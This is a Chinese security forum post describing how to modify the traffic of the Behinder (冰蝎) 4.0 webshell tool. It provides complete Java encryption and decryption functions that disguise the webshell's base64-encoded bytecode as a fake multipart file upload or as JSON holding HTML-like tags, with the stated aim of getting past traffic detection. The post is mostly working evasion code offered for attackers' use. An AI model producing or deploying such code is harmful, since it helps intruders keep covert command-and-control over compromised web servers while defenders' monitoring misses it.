安全矩阵

 找回密码
 立即注册
搜索
查看: 914|回复: 0

冰蝎4.0流量魔改

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-8-24 16:34:38 | 显示全部楼层 |阅读模式
冰蝎4.0流量魔改

0x00 前言
冰蝎v4.0开放了传输协议的自定义功能,使得流量魔改更为简单方便,本文以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式

0x01传输协议分析
冰蝎4内置了如下几种传输协议,传输协议可以理解为流量的加密方式
冰蝎4.0流量分析及魔改

以default_xor传输协议为例,这种传输协议是对原始数据进行了异或加密

效果如下:



冰蝎4将加解密函数给外置出来,我们可以自己定义通信流量的加密方式,用变换传输方式的方法可以使通信流量更像业务,但是加密流量只进行了一次base64编码,我们知道原始流量是java字节码,在经过base64编码后会有yv66这样的魔术头,这样很容易被检测到,所以我们可以用加密方式和传输方式相结合的方法来躲避检测

通过修改加解密函数让流量看起来正常一些,让传输数据看起来就像在加载html代码一样

加密函数:

  1. private byte[] Encrypt(byte[] data) throws Exception
  2. {
  3.         String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream  DaYer0 -----------------------------7e6103b1815de--";
  4.         String str = "";
  5.         String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
  6.         for (int i=0;i<result.length();i++){
  7.             int ch = (int)result.charAt(i);
  8.             String s4 = Integer.toHexString(ch);
  9.             s4 = s4.replace("a", "<a>")
  10.                     .replace("b", "</a>")
  11.                     .replace("c", "<img>")
  12.                     .replace("d", "</img>")
  13.                     .replace("e", "<p>")
  14.                     .replace("f", "</p>")
  15.                     .replace("1", "<id>")
  16.                     .replace("2", "</id>")
  17.                     .replace("3", "<li>")
  18.                     .replace("4", "</li>")
  19.                     .replace("5", "<div>")
  20.                     .replace("6", "</div>")
  21.                     .replace("7", "<ul>")
  22.                     .replace("8", "</ul>")
  23.                     .replace("9", "<span>")
  24.                     .replace("0", "</span>");
  25.             str = str + s4;
  26.         }
  27.         upload=upload.replace("DaYer0",str);
  28.         return upload.getBytes();
  29. }
复制代码



解密函数:

  1. private byte[] Decrypt(byte[] data) throws Exception
  2. {
  3.     java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
  4.     bos.write(data,150,data.length-195);
  5.         //String s= new String(bos.toByteArray());
  6.          byte[] writtenData = bos.toByteArray(); // 获取写入的数据
  7.         String writtenDataString = new String(writtenData); // 将字节数组转换为字符串
  8.         System.out.println(writtenDataString); // 打印写入的数据
  9.        // String s= new String(bos.toByteArray());


  10.         String  s = writtenDataString.replace("<a>", "a")
  11.                     .replace("</a>", "b")
  12.                     .replace("<img>", "c")
  13.                     .replace("</img>", "d")
  14.                     .replace("<p>", "e")
  15.                     .replace("</p>", "f")
  16.                     .replace("<id>", "1")
  17.                     .replace("</id>", "2")
  18.                     .replace("<li>", "3")
  19.                     .replace("</li>", "4")
  20.                     .replace("<div>", "5")
  21.                     .replace("</div>", "6")
  22.                     .replace("<ul>", "7")
  23.                     .replace("</ul>", "8")
  24.                     .replace("<span>", "9")
  25.                     .replace("</span>", "0");
  26.         


  27.             byte[] baKeyword = new byte[s.length()/2];
  28.             for(int i = 0; i < baKeyword.length; i++){
  29.                 try{
  30.                     baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));

  31.                 }catch(Exception e){
  32.                     e.printStackTrace();
  33.                 }
  34.             }
  35.             try{
  36.                 s = new String(baKeyword, "utf-8");
  37.             }catch (Exception e1){
  38.                 e1.printStackTrace();
  39.             }
  40.         System.out.println(s);

  41.         return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));

  42. }
复制代码




通信流量大致是下面这样:





我们也可以稍微变换一下,让他看起来像传输json一样

加密函数:

  1. private byte[] Encrypt(byte[] data) throws Exception
  2. {
  3.         String upload="{ "status":200, html:" XXYYZZ"}";
  4.         String str = "";
  5.         String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
  6.         for (int i=0;i<result.length();i++){
  7.             int ch = (int)result.charAt(i);
  8.             String s4 = Integer.toHexString(ch);
  9.             s4 = s4.replace("a", "<a>")
  10.                     .replace("b", "</a>")
  11.                     .replace("c", "<img>")
  12.                     .replace("d", "</img>")
  13.                     .replace("e", "<p>")
  14.                     .replace("f", "</p>")
  15.                     .replace("1", "<id>")
  16.                     .replace("2", "</id>")
  17.                     .replace("3", "<li>")
  18.                     .replace("4", "</li>")
  19.                     .replace("5", "<div>")
  20.                     .replace("6", "</div>")
  21.                     .replace("7", "<ul>")
  22.                     .replace("8", "</ul>")
  23.                     .replace("9", "<span>")
  24.                     .replace("0", "</span>");
  25.             str = str + s4;
  26.         }
  27.         upload=upload.replace("XXYYZZ",str);
  28.         return upload.getBytes();
  29. }
复制代码



解密函数:

  1. private byte[] Decrypt(byte[] data) throws Exception
  2. {
  3.     java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
  4.     bos.write(data,23,data.length-25);
  5.         //String s= new String(bos.toByteArray());
  6.          byte[] writtenData = bos.toByteArray(); // 获取写入的数据
  7.         String writtenDataString = new String(writtenData); // 将字节数组转换为字符串
  8.         System.out.println(writtenDataString); // 打印写入的数据
  9.        // String s= new String(bos.toByteArray());


  10.         String  s = writtenDataString.replace("<a>", "a")
  11.                     .replace("</a>", "b")
  12.                     .replace("<img>", "c")
  13.                     .replace("</img>", "d")
  14.                     .replace("<p>", "e")
  15.                     .replace("</p>", "f")
  16.                     .replace("<id>", "1")
  17.                     .replace("</id>", "2")
  18.                     .replace("<li>", "3")
  19.                     .replace("</li>", "4")
  20.                     .replace("<div>", "5")
  21.                     .replace("</div>", "6")
  22.                     .replace("<ul>", "7")
  23.                     .replace("</ul>", "8")
  24.                     .replace("<span>", "9")
  25.                     .replace("</span>", "0");
  26.         


  27.             byte[] baKeyword = new byte[s.length()/2];
  28.             for(int i = 0; i < baKeyword.length; i++){
  29.                 try{
  30.                     baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));

  31.                 }catch(Exception e){
  32.                     e.printStackTrace();
  33.                 }
  34.             }
  35.             try{
  36.                 s = new String(baKeyword, "utf-8");
  37.             }catch (Exception e1){
  38.                 e1.printStackTrace();
  39.             }
  40.         System.out.println(s);

  41.         return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));

  42. }


复制代码

通信流量如下:


本文部分内容参考先知社区的一些想法:
  1. https://xz.aliyun.com/t/12453
复制代码




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 13:55 , Processed in 0.014421 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表